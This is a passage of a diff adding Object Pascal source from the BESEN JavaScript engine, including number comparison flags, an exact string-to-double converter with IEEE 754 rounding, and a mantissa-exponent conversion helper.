Item^.DoCompare:=false; + end else if (ca and (bncfINFINITE or bncfNEGATIVE))=bncfINFINITE then begin + Item^.IsNotUndefined:=true; + Item^.ResultBooleanValue:=false; + Item^.DoCompare:=false; + end else if (cb and (bncfINFINITE or bncfNEGATIVE))=bncfINFINITE then begin + Item^.IsNotUndefined:=true; + Item^.ResultBooleanValue:=true; + Item^.DoCompare:=false; + end else if (cb and (bncfINFINITE or bncfNEGATIVE))=(bncfINFINITE or bncfNEGATIVE) then begin + Item^.IsNotUndefined:=true; + Item^.ResultBooleanValue:=false; + Item^.DoCompare:=false; + end else if (ca and (bncfINFINITE or bncfNEGATIVE))=(bncfINFINITE or bncfNEGATIVE) then begin + Item^.IsNotUndefined:=true; + Item^.ResultBooleanValue:=true; + Item^.DoCompare:=false; + end else begin + Item^.IsNotUndefined:=true; + Item^.ResultBooleanValue:=false; + Item^.DoCompare:=true; + end; + end; +end; + +function BESENNumberCodeFlags(const AValue:TBESENNumber):byte; {$ifdef caninline}inline;{$endif} +{$ifdef fpc} +var HighPart:longword; +begin + HighPart:=qword(pointer(@AValue)^) shr 32; + result:=BESENNumberCodeFlagLookupTable[HighPart shr 16,((HighPart and $ffff) or longword(qword(pointer(@AValue)^) and $ffffffff))<>0]; +end; +{$else} +{$ifdef cpu386} +asm + mov ecx,dword ptr [AValue+4] + mov edx,ecx + and edx,$0000ffff + or edx,dword ptr [AValue] + setnz dl + and edx,$7f + shr ecx,16 + mov al,byte ptr [offset BESENNumberCodeFlagLookupTable+ecx*2+edx] +end; +{$else} +var HighPart:longword; +begin + HighPart:=int64(pointer(@AValue)^) shr 32; + result:=BESENNumberCodeFlagLookupTable[HighPart shr 16,((HighPart and $ffff) or longword(int64(pointer(@AValue)^) and $ffffffff))<>0]; +end; +{$endif} +{$endif} + +function BESENStringToDoubleExact(const StringValue:TBESENString;RoundingMode:longint=BESEN_ROUND_TO_NEAREST;Base:longint=-1;OK:pointer=nil):double; +type PDoubleCasted=^TDoubleCasted; + TDoubleCasted=packed record + case byte of + 0:(Value:double); + 1:({$ifdef BIG_ENDIAN}Hi,Lo{$else}Lo,Hi{$endif}:longword); + 2:(Value64:int64); + end; +const MantissaWords=12; //6; // 12 + MantissaDigits=52; //28; // 52 + WordTopBit=$8000; + WordBits=16; + WordBitShift=4; + WordBitMask=WordBits-1; + WordMask=$ffff; + IEEEFormatBytes=8; + IEEEFormatBits=IEEEFormatBytes shl 3; + IEEEFormatExplicit=0; + IEEEFormatExponent=11; + IEEEFormatOneMask=WordTopBit shr ((IEEEFormatExponent+IEEEFormatExplicit) and WordBitMask); + IEEEFormatOnePos=(IEEEFormatExponent+IEEEFormatExplicit) shr WordBitShift; + IEEEFormatExpMax=1 shl (IEEEFormatExponent-1); + Bit53=int64(int64(1) shl 53); + MaximumMultiplier=longword(longword($ffffffff) div 36); +{$ifndef BESENNoFPU} + DtoAFPUExceptionMask:TFPUExceptionMask=[exInvalidOp,exDenormalized,exZeroDivide,exOverflow,exUnderflow,exPrecision]; + DtoAFPUPrecisionMode:TFPUPrecisionMode=pmDOUBLE; + DtoAFPURoundingMode:TFPURoundingMode=rmNEAREST; +{$endif} +type PWords=^TWords; + TWords=array[0..MantissaWords] of word; + PTemp=^TTemp; + TTemp=array[0..MantissaWords*2] of longword; + PDigits=^TDigits; + TDigits=array[0..MantissaDigits] of byte; +var MantissaPosition,Exponent,TenPower,TwoPower,ExtraTwos,Shift,i,p,q,r,Digit,Overflow,OverflowBits,DroppedBits,DroppedBitsMask,MiddleValue:longint; + Bit,Carry:word; + Negative,ExponentNegative,HasDigits,Started,ZeroTail,Done:boolean; + ResultCasted:PDoubleCasted; + Temp:PTemp; + Digits:PDigits; + MantissaMultiplicator,Mantissa:PWords; + Value:int64; + c:widechar; + Part,Multiplier,NextMultiplier:longword; +{$ifndef BESENNoFPU} + OldFPUExceptionMask:TFPUExceptionMask; + OldFPUPrecisionMode:TFPUPrecisionMode; + OldFPURoundingMode:TFPURoundingMode; +{$endif} + function MantissaMultiply(vTo,vFrom:PWords):longint; + var i,j,k:longint; + v:longword; + t:PTemp; + begin + t:=Temp; + FillChar(t^,sizeof(TTemp),#0); + for i:=0 to MantissaWords-1 do begin + for j:=0 to MantissaWords-1 do begin + v:=longword(vTo^[i]+0)*longword(vFrom^[j]+0); + k:=i+j; + inc(t^[k],v shr WordBits); + inc(t^[k+1],v and WordMask); + end; + end; + for i:=high(TTemp) downto 1 do begin + inc(t^[i-1],t^[i] shr WordBits); + t^[i]:=t^[i] and WordMask; + end; + if (t^[0] and WordTopBit)<>0 then begin + for i:=0 to MantissaWords-1 do begin + vTo^[i]:=t^[i] and WordMask; + end; + result:=0; + end else begin + for i:=0 to MantissaWords-1 do begin + vTo^[i]:=(t^[i] shl 1)+word(ord((t^[i+1] and WordTopBit)<>0)); + end; + result:=-1; + end; + end; + procedure MantissaShiftRight(var Mantissa:TWords;Shift:longint); + var Bits,Words,InvBits,Position:longint; + Carry,Current:longword; + begin + Bits:=Shift and WordBitMask; + Words:=Shift shr WordBitShift; + InvBits:=WordBits-Bits; + Position:=high(TWords); + if Bits=0 then begin + if Words<>0 then begin + while Position>=Words do begin + Mantissa[Position]:=Mantissa[Position-Words]; + dec(Position); + end; + end; + end else begin + if (high(TWords)-Words)>=0 then begin + Carry:=Mantissa[high(TWords)-Words] shr Bits; + end else begin + Carry:=0; + end; + while Position>Words do begin + Current:=Mantissa[Position-(Words+1)]; + Mantissa[Position]:=(Current shl InvBits) or Carry; + Carry:=Current shr Bits; + dec(Position); + end; + Mantissa[Position]:=Carry; + dec(Position); + end; + while Position>=0 do begin + Mantissa[Position]:=0; + dec(Position); + end; + end; + procedure MantissaSetBit(var Mantissa:TWords;i:longint); + begin + Mantissa[i shr WordBitShift]:=Mantissa[i shr WordBitShift] or (WordTopBit shr (i and WordBitMask)); + end; + function MantissaTestBit(var Mantissa:TWords;i:longint):boolean; + begin + result:=(Mantissa[i shr WordBitShift] shr ((not i) and WordBitMask))<>0; + end; + function MantissaIsZero(var Mantissa:TWords):boolean; + var i:longint; + begin + result:=true; + for i:=low(TWords) to High(TWords) do begin + if Mantissa[i]<>0 then begin + result:=false; + break; + end; + end; + end; + function MantissaRound(Negative:boolean;var Mantissa:TWords;BitPos:longint):boolean; + var i,p:longint; + Bit:longword; + function RoundAbsDown:boolean; + var j:longint; + begin + Mantissa[i]:=Mantissa[i] and not (Bit-1); + for j:=i+1 to high(TWords) do begin + Mantissa[j]:=0; + end; + result:=false; + end; + function RoundAbsUp:boolean; + var j:longint; + begin + Mantissa[i]:=(Mantissa[i] and not (Bit-1))+Bit; + for j:=i+1 to high(TWords) do begin + Mantissa[j]:=0; + end; + while (i>0) and (Mantissa[i]=0) do begin + dec(i); + inc(Mantissa[i]); + end; + result:=Mantissa[0]=0; + end; + function RoundTowardsInfinity:boolean; + var j:longint; + m:longword; + begin + m:=Mantissa[i] and ((Bit shl 1)-1); + for j:=i+1 to high(TWords) do begin + m:=m or Mantissa[j]; + end; + if m<>0 then begin + result:=RoundAbsUp; + end else begin + result:=RoundAbsDown; + end; + end; + function RoundNear:boolean; + var j:longint; + m:longword; + begin + if (Mantissa[i] and Bit)<>0 then begin + Mantissa[i]:=Mantissa[i] and not Bit; + m:=Mantissa[i] and ((Bit shl 1)-1); + for j:=i+1 to high(TWords) do begin + m:=m or Mantissa[j]; + end; + Mantissa[i]:=Mantissa[i] or Bit; + if m<>0 then begin + result:=RoundAbsUp; + end else begin + if MantissaTestBit(Mantissa,BitPos-1) then begin + result:=RoundAbsUp; + end else begin + result:=RoundAbsDown; + end; + end; + end else begin + result:=RoundAbsDown; + end; + end; + begin + i:=BitPos shr WordBitShift; + p:=BitPos and WordBitMask; + Bit:=WordTopBit shr p; + case RoundingMode of + BESEN_ROUND_TO_NEAREST:begin + result:=RoundNear; + end; + BESEN_ROUND_TOWARD_ZERO:begin + result:=RoundAbsDown; + end; + BESEN_ROUND_UPWARD:begin + if Negative then begin + result:=RoundAbsDown; + end else begin + result:=RoundTowardsInfinity; + end; + end; + BESEN_ROUND_DOWNWARD:begin + if Negative then begin + result:=RoundTowardsInfinity; + end else begin + result:=RoundAbsDown; + end; + end; + else begin + result:=false; + end; + end; + end; + function CountLeadingZeros32(a:longword):longint; + const CountLeadingZerosHigh:array[byte] of byte=(8,7,6,6,5,5,5,5,4,4,4,4,4,4,4,4, + 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, + 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, + 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0); + begin + result:=0; + if a<$10000 then begin + inc(result,16); + a:=a shl 16; + end; + if a<$1000000 then begin + inc(result,8); + a:=a shl 8; + end; + inc(result,CountLeadingZerosHigh[a shr 24]); + end; + function CountLeadingZeros64(a:int64):longint; + begin + if a<int64($100000000) then begin + result:=32; + end else begin + result:=0; + a:=a shr 32; + end; + inc(result,CountLeadingZeros32(a)); + end; +begin + if assigned(OK) then begin + longbool(OK^):=false; + end; + ResultCasted:=pointer(@result); + ResultCasted^.Hi:=$7ff80000; + ResultCasted^.Lo:=$00000000; + i:=1; + p:=i; + while (i<=length(StringValue)) and BESENUnicodeIsStringWhiteSpace(word(widechar(StringValue[i]))) do begin + inc(i); + end; + if (i<=length(StringValue)) and ((StringValue[i]='-') or (StringValue[i]='+')) then begin + Negative:=StringValue[i]='-'; + inc(i); + end else begin + Negative:=false; + end; + HasDigits:=false; + if ((i+7)<=length(StringValue)) and ((StringValue[i]='I') and (StringValue[i+1]='n') and (StringValue[i+2]='f') and (StringValue[i+3]='i') and (StringValue[i+4]='n') and (StringValue[i+5]='i') and (StringValue[i+6]='t') and (StringValue[i+7]='y')) then begin + if Negative then begin + ResultCasted^.Hi:=$fff00000; + ResultCasted^.Lo:=$00000000; + end else begin + ResultCasted^.Hi:=$7ff00000; + ResultCasted^.Lo:=$00000000; + end; + if assigned(OK) then begin + longbool(OK^):=true; + end; + end else if ((i+2)<=length(StringValue)) and ((StringValue[i]='N') and (StringValue[i+1]='a') and (StringValue[i+2]='N')) then begin + ResultCasted^.Hi:=$7ff80000; + ResultCasted^.Lo:=$00000000; + if assigned(OK) then begin + longbool(OK^):=true; + end; + end else if (Base in [2,4,8,16,32]) or ((not (Base in [2..36])) and ((((i+1)<=length(StringValue)) and ((StringValue[i]='0') and ((StringValue[i+1]='b') or (StringValue[i+1]='o') or (StringValue[i+1]='x')))))) then begin + ResultCasted^.Hi:=$00000000; + ResultCasted^.Lo:=$00000000; + case Base of + 2:begin + Shift:=1; + end; + 4:begin + Shift:=2; + end; + 8:begin + Shift:=3; + end; + 16:begin + Shift:=4; + end; + 32:begin + Shift:=5; + end; + else begin + inc(i); + case StringValue[i] of + 'b':begin + Shift:=1; + end; + 'o':begin + Shift:=3; + end; + else {'x':}begin + Shift:=4; + end; + end; + inc(i); + end; + end; + TwoPower:=1 shl Shift; + Value:=0; + Exponent:=0; + while (i<=length(StringValue)) and (StringValue[i]='0') do begin + HasDigits:=true; + inc(i); + end; + if i<=length(StringValue) then begin + q:=0; + Digit:=0; + while i<=length(StringValue) do begin + c:=StringValue[i]; + if ((c>='0') and (c<='9')) and (ord(c)<=(ord('0')+TwoPower)) then begin + Digit:=ord(c)-ord('0'); + end else if (TwoPower>10) and (((c>='a') and (c<='z')) and (ord(c)<=((ord('a')+TwoPower)-10))) then begin + Digit:=(ord(c)-ord('a'))+10; + end else if (TwoPower>10) and (((c>='A') and (c<='Z')) and (ord(c)<=((ord('A')+TwoPower)-10))) then begin + Digit:=(ord(c)-ord('A'))+10; + end else begin + break; + end; + inc(i); + HasDigits:=true; + Value:=(Value shl Shift) or Digit; + Overflow:=longint(int64(Value shr 53)); + if Overflow<>0 then begin + OverflowBits:=1; + while Overflow>1 do begin + inc(OverflowBits); + Overflow:=Overflow shr 1; + end; + DroppedBitsMask:=(1 shl OverflowBits)-1; + DroppedBits:=Value and DroppedBitsMask; + Value:=Value shr OverflowBits; + Exponent:=OverflowBits; + ZeroTail:=true; + while i<=length(StringValue) do begin + c:=StringValue[i]; + if ((c>='0') and (c<='9')) and (ord(c)<=(ord('0')+TwoPower)) then begin + Digit:=ord(c)-ord('0'); + end else if (TwoPower>10) and (((c>='a') and (c<='z')) and (ord(c)<=((ord('a')+TwoPower)-10))) then begin + Digit:=(ord(c)-ord('a'))+10; + end else if (TwoPower>10) and (((c>='A') and (c<='Z')) and (ord(c)<=((ord('A')+TwoPower)-10))) then begin + Digit:=(ord(c)-ord('A'))+10; + end else begin + break; + end; + inc(i); + if Digit<>0 then begin + ZeroTail:=false; + end; + inc(Exponent,Shift); + end; + MiddleValue:=1 shl (OverflowBits-1); + if DroppedBits>MiddleValue then begin + inc(Value); + end else if DroppedBits=MiddleValue then begin + if ((Value and 1)<>0) or not ZeroTail then begin + inc(Value); + end; + end; + while (Value and Bit53)<>0 do begin + Value:=Value shr 1; + inc(Exponent); + end; + break; + end; + end; + if (Exponent<IEEEFormatExponent) and (Value<Bit53) then begin + Shift:=CountLeadingZeros64(Value)-11; + if Shift>=0 then begin + Value:=Value shl Shift; + end else begin + Value:=Value shr (-Shift); + end; + ResultCasted^.Value64:=((int64($432-(Shift-Exponent)) shl 52)+Value) and int64($7fffffffffffffff); + end else begin + New(Mantissa); + try + FillChar(Mantissa^,sizeof(TWords),#0); + Shift:=CountLeadingZeros64(Value); + Value:=Value shl Shift; + inc(Exponent,64-Shift); + Mantissa^[0]:=(Value shr 48) and $ffff; + Mantissa^[1]:=(Value shr 32) and $ffff; + Mantissa^[2]:=(Value shr 16) and $ffff; + Mantissa^[3]:=(Value shr 0) and $ffff; + if (Mantissa^[0] and WordTopBit)<>0 then begin + dec(Exponent); + if (Exponent>=(2-IEEEFormatExpMax)) and (Exponent<=IEEEFormatExpMax) then begin + inc(Exponent,IEEEFormatExpMax-1); + MantissaShiftRight(Mantissa^,IEEEFormatExponent+IEEEFormatExplicit); + MantissaRound(Negative,Mantissa^,IEEEFormatBits); + if MantissaTestBit(Mantissa^,IEEEFormatExponent+IEEEFormatExplicit-1) then begin + MantissaShiftRight(Mantissa^,1); + inc(Exponent); + end; + if Exponent>=(IEEEFormatExpMax shl 1)-1 then begin + ResultCasted^.Hi:=$7ff00000; + ResultCasted^.Lo:=$00000000; + end else begin + ResultCasted^.Hi:=(((Exponent shl 4) or (Mantissa^[0] and $f)) shl 16) or Mantissa^[1]; + ResultCasted^.Lo:=(Mantissa^[2] shl 16) or Mantissa^[3]; + end; + end else if Exponent>0 then begin + ResultCasted^.Hi:=$7ff00000; + ResultCasted^.Lo:=$00000000; + end else begin + Shift:=IEEEFormatExplicit-(Exponent+(IEEEFormatExpMax-(2+IEEEFormatExponent))); + MantissaShiftRight(Mantissa^,Shift); + MantissaRound(Negative,Mantissa^,IEEEFormatBits); + if (Mantissa^[IEEEFormatOnePos] and IEEEFormatOneMask)<>0 then begin + Exponent:=1; + if IEEEFormatExplicit=0 then begin + Mantissa^[IEEEFormatOnePos]:=Mantissa^[IEEEFormatOnePos] and not IEEEFormatOneMask; + end; + Mantissa^[0]:=Mantissa^[0] or (Exponent shl (WordBitMask-IEEEFormatExponent)); + ResultCasted^.Hi:=(((Exponent shl 4) or (Mantissa^[0] and $f)) shl 16) or Mantissa^[1]; + ResultCasted^.Lo:=(Mantissa^[2] shl 16) or Mantissa^[3]; + end else begin + if MantissaIsZero(Mantissa^) then begin + ResultCasted^.Hi:=$00000000; + ResultCasted^.Lo:=$00000000; + end else begin + ResultCasted^.Hi:=(Mantissa^[0] shl 16) or Mantissa^[1]; + ResultCasted^.Lo:=(Mantissa^[2] shl 16) or Mantissa^[3]; + end; + end; + end; + end else begin + ResultCasted^.Hi:=$00000000; + ResultCasted^.Lo:=$00000000; + end; + finally + Dispose(Mantissa); + end; + end; + end else begin + ResultCasted^.Hi:=$00000000; + ResultCasted^.Lo:=$00000000; + end; + if Negative then begin + ResultCasted^.Hi:=ResultCasted^.Hi or $80000000; + end; + if HasDigits then begin + if assigned(OK) then begin + longbool(OK^):=true; + end; + end; + end else if Base in [2..36] then begin + ResultCasted^.Hi:=$00000000; + ResultCasted^.Lo:=$00000000; + while (i<=length(StringValue)) and (StringValue[i]='0') do begin + HasDigits:=true; + inc(i); + end; + if i<=length(StringValue) then begin +{$ifndef BESENNoFPU} + OldFPUExceptionMask:=GetExceptionMask; + OldFPUPrecisionMode:=GetPrecisionMode; + OldFPURoundingMode:=GetRoundMode; +{$endif} + try +{$ifndef BESENNoFPU} + if OldFPUExceptionMask<>DtoAFPUExceptionMask then begin + SetExceptionMask(DtoAFPUExceptionMask); + end; + if OldFPUPrecisionMode<>DtoAFPUPrecisionMode then begin + SetPrecisionMode(DtoAFPUPrecisionMode); + end; + if OldFPURoundingMode<>DtoAFPURoundingMode then begin + SetRoundMode(DtoAFPURoundingMode); + end; +{$endif} + Part:=0; + Multiplier:=1; + Digit:=0; + Done:=false; + while not Done do begin + while true do begin + c:=StringValue[i]; + if ((c>='0') and (c<='9')) and (ord(c)<=(ord('0')+Base)) then begin + Digit:=ord(c)-ord('0'); + end else if (Base>10) and (((c>='a') and (c<='z')) and (ord(c)<=((ord('a')+Base)-10))) then begin + Digit:=(ord(c)-ord('a'))+10; + end else if (Base>10) and (((c>='A') and (c<='Z')) and (ord(c)<=((ord('A')+Base)-10))) then begin + Digit:=(ord(c)-ord('A'))+10; + end else begin + Done:=true; + break; + end; + HasDigits:=true; + NextMultiplier:=Multiplier*longword(Base); + if NextMultiplier>MaximumMultiplier then begin + break; + end; + Part:=(Part*longword(Base))+longword(Digit); + Multiplier:=NextMultiplier; + Assert(Multiplier>Part); + inc(i); + if i>length(StringValue) then begin + Done:=true; + break; + end; + end; + ResultCasted^.Value:=(ResultCasted^.Value*Multiplier)+Part; + end; + finally +{$ifndef BESENNoFPU} + if OldFPUExceptionMask<>DtoAFPUExceptionMask then begin + SetExceptionMask(OldFPUExceptionMask); + end; + if OldFPUPrecisionMode<>DtoAFPUPrecisionMode then begin + SetPrecisionMode(OldFPUPrecisionMode); + end; + if OldFPURoundingMode<>DtoAFPURoundingMode then begin + SetRoundMode(OldFPURoundingMode); + end; +{$endif} + end; + end else begin + ResultCasted^.Hi:=$00000000; + ResultCasted^.Lo:=$00000000; + end; + if Negative then begin + ResultCasted^.Hi:=ResultCasted^.Hi or $80000000; + end; + if HasDigits then begin + if assigned(OK) then begin + longbool(OK^):=true; + end; + end; + end else begin + HasDigits:=false; + Value:=0; + q:=i; + while i<=length(StringValue) do begin + c:=StringValue[i]; + if (c>='0') and (c<='9') then begin + HasDigits:=true; + Value:=(Value*10)+(ord(c)-ord('0')); + if (Value shr 53)<>0 then begin + HasDigits:=false; + break; + end; + end else begin + HasDigits:=false; + break; + end; + inc(i); + end; + if HasDigits then begin + if Value=0 then begin + ResultCasted^.Hi:=$00000000; + ResultCasted^.Lo:=$00000000; + end else begin + Shift:=CountLeadingZeros64(Value)-11; + if Shift>=0 then begin + Value:=Value shl Shift; + end else begin + Value:=Value shr (-Shift); + end; + ResultCasted^.Value64:=((int64($432-Shift) shl 52)+Value) and int64($7fffffffffffffff); + end; + if Negative then begin + ResultCasted^.Hi:=ResultCasted^.Hi or $80000000; + end; + if assigned(OK) then begin + longbool(OK^):=true; + end; + end else begin + i:=q; + New(MantissaMultiplicator); + New(Mantissa); + New(Temp); + New(Digits); + try + FillChar(Digits^,sizeof(TDigits),#0); + + p:=0; + TenPower:=0; + HasDigits:=false; + Started:=false; + ExponentNegative:=false; + Exponent:=0; + while i<=length(StringValue) do begin + case StringValue[i] of + '0':begin + HasDigits:=true; + inc(i); + end; + else begin + break; + end; + end; + end; + while i<=length(StringValue) do begin + case StringValue[i] of + '0'..'9':begin + HasDigits:=true; + Started:=true; + if p<=high(TDigits) then begin + Digits^[p]:=ord(StringValue[i])-ord('0'); + inc(p); + end; + inc(TenPower); + inc(i); + end; + else begin + break; + end; + end; + end; + if (i<=length(StringValue)) and (StringValue[i]='.') then begin + inc(i); + if not Started then begin + while i<=length(StringValue) do begin + case StringValue[i] of + '0':begin + HasDigits:=true; + dec(TenPower); + inc(i); + end; + else begin + break; + end; + end; + end; + end; + while i<=length(StringValue) do begin + case StringValue[i] of + '0'..'9':begin + HasDigits:=true; + if p<=high(TDigits) then begin + Digits^[p]:=ord(StringValue[i])-ord('0'); + inc(p); + end; + inc(i); + end; + else begin + break; + end; + end; + end; + end; + if HasDigits then begin + if (i<=length(StringValue)) and ((StringValue[i]='e') or (StringValue[i]='E')) then begin + inc(i); + if (i<=length(StringValue)) and ((StringValue[i]='+') or (StringValue[i]='-')) then begin + ExponentNegative:=StringValue[i]='-'; + inc(i); + end; + HasDigits:=false; + while i<=length(StringValue) do begin + case StringValue[i] of + '0'..'9':begin + Exponent:=(Exponent*10)+longint(ord(StringValue[i])-ord('0')); + HasDigits:=true; + inc(i); + end; + else begin + break; + end; + end; + end; + end; + if HasDigits then begin + if ExponentNegative then begin + dec(TenPower,Exponent); + end else begin + inc(TenPower,Exponent); + end; + + FillChar(Mantissa^,sizeof(TWords),#0); + + Bit:=WordTopBit; + q:=0; + Started:=false; + TwoPower:=0; + MantissaPosition:=0; + while MantissaPosition<MantissaWords do begin + Carry:=0; + while (p>q) and (Digits^[p-1]=0) do begin + dec(p); + end; + if p<=q then begin + break; + end; + r:=p; + while r>q do begin + dec(r); + i:=(2*Digits^[r])+Carry; + if i>=10 then begin + dec(i,10); + Carry:=1; + end else begin + Carry:=0; + end; + Digits^[r]:=i; + end; + if Carry<>0 then begin + Mantissa^[MantissaPosition]:=Mantissa^[MantissaPosition] or Bit; + Started:=true; + end; + if Started then begin + if Bit=1 then begin + Bit:=WordTopBit; + inc(MantissaPosition); + end else begin + Bit:=Bit shr 1; + end; + end else begin + dec(TwoPower); + end; + end; + inc(TwoPower,TenPower); + + if TenPower<0 then begin + for i:=0 to high(TWords)-1 do begin + MantissaMultiplicator^[i]:=$cccc; + end; + MantissaMultiplicator^[high(TWords)]:=$cccd; + ExtraTwos:=-2; + TenPower:=-TenPower; + end else if TenPower>0 then begin + MantissaMultiplicator^[0]:=$a000; + for i:=1 to high(TWords) do begin + MantissaMultiplicator^[i]:=$0000; + end; + ExtraTwos:=3; + end else begin + ExtraTwos:=0; + end; + while TenPower<>0 do begin + if (TenPower and 1)<>0 then begin + inc(TwoPower,ExtraTwos+MantissaMultiply(Mantissa,MantissaMultiplicator)); + end; + inc(ExtraTwos,ExtraTwos+MantissaMultiply(MantissaMultiplicator,MantissaMultiplicator)); + TenPower:=TenPower shr 1; + end; + + Exponent:=TwoPower; + if (Mantissa^[0] and WordTopBit)<>0 then begin + dec(Exponent); + + if (Exponent>=(2-IEEEFormatExpMax)) and (Exponent<=IEEEFormatExpMax) then begin + inc(Exponent,IEEEFormatExpMax-1); + MantissaShiftRight(Mantissa^,IEEEFormatExponent+IEEEFormatExplicit); + MantissaRound(Negative,Mantissa^,IEEEFormatBits); + if MantissaTestBit(Mantissa^,IEEEFormatExponent+IEEEFormatExplicit-1) then begin + MantissaShiftRight(Mantissa^,1); + inc(Exponent); + end; + if Exponent>=(IEEEFormatExpMax shl 1)-1 then begin + ResultCasted^.Hi:=$7ff00000; + ResultCasted^.Lo:=$00000000; + end else begin + ResultCasted^.Hi:=(((Exponent shl 4) or (Mantissa^[0] and $f)) shl 16) or Mantissa^[1]; + ResultCasted^.Lo:=(Mantissa^[2] shl 16) or Mantissa^[3]; + end; + end else if Exponent>0 then begin + ResultCasted^.Hi:=$7ff00000; + ResultCasted^.Lo:=$00000000; + end else begin + Shift:=IEEEFormatExplicit-(Exponent+(IEEEFormatExpMax-(2+IEEEFormatExponent))); + MantissaShiftRight(Mantissa^,Shift); + MantissaRound(Negative,Mantissa^,IEEEFormatBits); + if (Mantissa^[IEEEFormatOnePos] and IEEEFormatOneMask)<>0 then begin + Exponent:=1; + if IEEEFormatExplicit=0 then begin + Mantissa^[IEEEFormatOnePos]:=Mantissa^[IEEEFormatOnePos] and not IEEEFormatOneMask; + end; + Mantissa^[0]:=Mantissa^[0] or (Exponent shl (WordBitMask-IEEEFormatExponent)); + ResultCasted^.Hi:=(((Exponent shl 4) or (Mantissa^[0] and $f)) shl 16) or Mantissa^[1]; + ResultCasted^.Lo:=(Mantissa^[2] shl 16) or Mantissa^[3]; + end else begin + if MantissaIsZero(Mantissa^) then begin + ResultCasted^.Hi:=$00000000; + ResultCasted^.Lo:=$00000000; + end else begin + ResultCasted^.Hi:=(Mantissa^[0] shl 16) or Mantissa^[1]; + ResultCasted^.Lo:=(Mantissa^[2] shl 16) or Mantissa^[3]; + end; + end; + end; + end else begin + ResultCasted^.Hi:=$00000000; + ResultCasted^.Lo:=$00000000; + end; + if Negative then begin + ResultCasted^.Hi:=ResultCasted^.Hi or $80000000; + end; + if assigned(OK) then begin + longbool(OK^):=true; + end; + end; + end; + finally + Dispose(MantissaMultiplicator); + Dispose(Mantissa); + Dispose(Temp); + Dispose(Digits); + end; + end; + end; +end; + +function BESENConvertMantissaExponentToDouble(Mantissa:int64;MantissaSize,FractionalDigits,FractionalExponent,Exponent,ExponentSign:integer):double; {$ifdef caninline}inline;{$endif} +const MaxExponentOfTen=308; + MaxExponentOfTenMinusTwo=MaxExponentOfTen-2; + PowersOfTen:array[0..8] of TBESENParsingNumberType=(1e1,1e2,1e4,1e8,1e16,1e32,1e64,1e128,1e256); +var FloatValue,ExponentFactor:TBESENParsingNumberType; + MantissaExponent,PartExponent,Index:integer; +{$ifndef BESENNoFPU} + OldFPUExceptionMask:TFPUExceptionMask; + OldFPURoundingMode:TFPURoundingMode; + OldFPUPrecisionMode:TFPUPrecisionMode; +{$endif} +begin +{$ifndef BESENNoFPU} + OldFPUExceptionMask:=GetExceptionMask; + OldFPURoundingMode:=GetRoundMode; + OldFPUPrecisionMode:=GetPrecisionMode; +{$endif} + try +{$ifndef BESENNoFPU} + if OldFPUExceptionMask<>BESENFPUExceptionMask then begin + SetExceptionMask(BESENFPUExceptionMask); + end; + if OldFPURoundingMode<>rmNearest then begin + SetRoundMode(rmNearest); + end; + if OldFPUPrecisionMode<>BESENFPUPrecisionMode then begin + SetPrecisionMode(BESENFPUPrecisionMode); + end; +{$endif} + + FloatValue:=Mantissa; + + MantissaExponent:=FractionalDigits+FractionalExponent; + if MantissaSize>18 then begin + dec(MantissaExponent,MantissaSize-18); + end; + + if ExponentSign>0 then begin + dec(Exponent,MantissaExponent); + end else begin + inc(Exponent,MantissaExponent); + end; + if Exponent<0 then begin + ExponentSign:=-ExponentSign; + Exponent:=-Exponent; + end; + + while Exponent>0 do begin + PartExponent:=Exponent; + if PartExponent>MaxExponentOfTenMinusTwo then begin + PartExponent:=MaxExponentOfTenMinusTwo; + end; + dec(Exponent,PartExponent); + + Index:=0; + ExponentFactor:=1; + while (PartExponent<>0) and (Index<length(PowersOfTen)) do begin + if (PartExponent and 1)<>0 then begin + ExponentFactor:=ExponentFactor*PowersOfTen[Index]; + end; + inc(Index); + PartExponent:=PartExponent shr 1; + end; + + if ExponentSign>0 then begin + FloatValue:=FloatValue*ExponentFactor; + end else begin + FloatValue:=FloatValue/ExponentFactor; + end; + end; + result:=FloatValue; + finally +{$ifndef BESENNoFPU} + if OldFPUExceptionMask<>BESENFPUExceptionMask then begin + SetExceptionMask(OldFPUExceptionMask); + end; + if OldFPURoundingMode<>rmNearest then begin + SetRoundMode(OldFPURoundingMode); + end; + if OldFPUPrecisionMode<>BESENFPUPrecisionMode then begin + SetPrecisionMode(OldFPUPrecisionMode); + end; +{$endif} + end; +end; + +function BESENStringToDoubleFast(const StringValue:TBESENString;RoundingMode:integer=BESEN_ROUND_TO_NEAREST):double; +type PDoubleCasted=^TDoubleCasted; + TDoubleCasted=packed record + case byte of + 0:(Value:double); + 1:({$ifdef BIG_ENDIAN}Hi,Lo{$else}Lo,Hi{$endif}:longword); + end; +const MaxExponentOfTen=308; + MaxExponentOfTenMinusTwo=MaxExponentOfTen-2; + PowersOfTen:array[0..8] of double=(1e1,1e2,1e4,1e8,1e16,1e32,1e64,1e128,1e256); +var i:integer; + Negative,HasDigits:boolean; + Mantissa:int64; + MantissaSize,FractionalDigits,FractionalExponent,ExponentSign,Exponent:integer; + ResultCasted:PDoubleCasted; + FloatValue,ExponentFactor:double; + MantissaExponent,PartExponent,Index:integer; +{$ifndef BESENNoFPU} + OldFPUExceptionMask:TFPUExceptionMask; + OldFPURoundingMode,NewFPURoundingMode:TFPURoundingMode; + OldFPUPrecisionMode:TFPUPrecisionMode; +{$endif} +begin + ResultCasted:=pointer(@result); + ResultCasted^.Hi:=$7ff80000; + ResultCasted^.Lo:=$00000000; + i:=1; + while (i<=length(StringValue)) and (BESENUnicodeIsStringWhiteSpace(word(widechar(StringValue[i])))) do begin + inc(i); + end; + if (i<=length(StringValue)) and ((StringValue[i]='-') or (StringValue[i]='+')) then begin + 